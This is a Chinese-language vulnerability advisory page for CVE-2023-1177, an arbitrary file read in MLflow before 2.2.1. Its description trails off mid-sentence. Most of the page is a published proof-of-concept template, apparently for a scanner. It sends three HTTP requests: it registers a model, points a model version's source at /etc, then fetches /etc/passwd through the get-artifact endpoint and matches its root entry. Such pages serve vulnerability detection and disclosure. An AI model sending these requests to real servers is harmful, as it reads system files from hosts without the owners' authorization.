CVE-2023-1177: MLflow get-artifact 任意文件读取漏洞

日期: 2025-09-01 | 影响软件: MLflow | POC: 已公开

漏洞描述

使用 MLflow 模型注册表托管 MLflow 开源项目的用户 mlflow server或者 mlflow ui使用早于 MLflow 2.2.1 的 MLflow 版本的命令如果不限制谁可以查询其服务器(例如,通过使用云 VPC、入站请求的 IP 白名单或身份验证 /授权中间件) app="MLflow"

PoC代码[已公开]

id: CVE-2023-1177

info:
  name: MLflow get-artifact 任意文件读取漏洞
  author: zan8in
  severity: high
  verified: true
  description: | 
    使用 MLflow 模型注册表托管 MLflow 开源项目的用户 mlflow server或者 mlflow ui使用早于 MLflow 2.2.1 的 MLflow 版本的命令如果不限制谁可以查询其服务器(例如,通过使用云 VPC、入站请求的 IP 白名单或身份验证 /授权中间件)
    app="MLflow"

rules:
  r0:
    request:
      method: POST
      path: /ajax-api/2.0/mlflow/registered-models/create
      headers:
        Content-Type: application/json
      body: |
        {"name": "testfile"}
    expression: true
  r1:
    request:
      method: POST
      path: /ajax-api/2.0/mlflow/model-versions/create
      headers:
        Content-Type: application/json
      body: |
        {"name": "testfile", "source": "/etc"}
    expression: response.status == 200 && response.body.bcontains(b'"model_version":') && response.body.bcontains(b'"source":') && response.body.bcontains(b'"/etc",')
  r2:
    request:
      method: GET
      path: /model-versions/get-artifact?path=passwd&name=testfile&version=1
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() && r1() && r2()

相关漏洞推荐